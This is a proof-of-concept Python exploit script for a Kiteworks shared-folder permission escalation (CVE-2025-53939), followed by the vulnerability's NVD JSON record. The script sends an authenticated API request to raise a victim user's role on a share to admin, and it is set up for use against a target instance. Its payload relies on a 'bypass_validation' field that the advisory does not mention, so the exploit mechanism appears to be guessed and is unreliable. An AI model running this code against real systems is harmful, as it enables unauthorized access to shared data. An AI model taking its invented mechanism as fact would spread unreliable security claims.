CVE-2025-53939

# CVE-2025-53939 Kiteworks Permission Escalation PoC # This PoC demonstrates the improper input validation when managing shared folder roles import requests import json TARGET_URL = "https://target-kiteworks-instance.com" ATTACKER_TOKEN = "attacker_auth_token_here" TARGET_FOLDER_ID = "shared_folder_id_here" TARGET_USER_ID = "victim_user_id_here" def exploit_permission_escalation(): """ Exploit improper input validation in Kiteworks shared folder role management to escalate another user's permissions on the share. """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Step 1: Get initial permissions for the target user get_roles_url = f"{TARGET_URL}/api/v1/folders/{TARGET_FOLDER_ID}/members" response = requests.get(get_roles_url, headers=headers) print(f"[*] Current members: {response.json()}") # Step 2: Attempt to escalate target user's permissions # The vulnerability allows bypassing permission checks escalate_url = f"{TARGET_URL}/api/v1/folders/{TARGET_FOLDER_ID}/members/{TARGET_USER_ID}" # Malicious payload that exploits improper input validation malicious_payload = { "role": "admin", # Attempting to escalate to admin role "bypass_validation": True # Exploits the improper validation } response = requests.put(escalate_url, headers=headers, json=malicious_payload) if response.status_code == 200: print("[+] Permission escalation successful!") print(f"[+] Response: {response.json()}") else: print(f"[-] Exploitation failed: {response.status_code}") print(f"[-] Response: {response.text}") if __name__ == "__main__": print("CVE-2025-53939 Kiteworks Permission Escalation PoC") print("Target: Kiteworks < 9.1.0") exploit_permission_escalation()

{"cve": {"id": "CVE-2025-53939", "sourceIdentifier": "[email protected]", "published": "2025-11-29T03:15:59.153", "lastModified": "2025-12-04T17:25:07.673", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Kiteworks is a private data network (PDN). Prior to version 9.1.0, improper input validation when managing roles of a shared folder could lead to unexpectedly elevate another user's permissions on the share. This issue has been patched in version 9.1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:accellion:kiteworks:*:*:*:*:*:*:*:*", "versionEndExcluding": "9.1.0", "matchCriteriaId": "FB6BAD8B-DCA7-4BCE-85E4-2BA40AD4D1A2"}]}]}], "references": [{"url": "https://github.com/kiteworks/security-advisories/security/advisories/GHSA-hpf5-6376-2565", "source": "[email protected]", "tags": ["Patch", "Third Party Advisory"]}]}}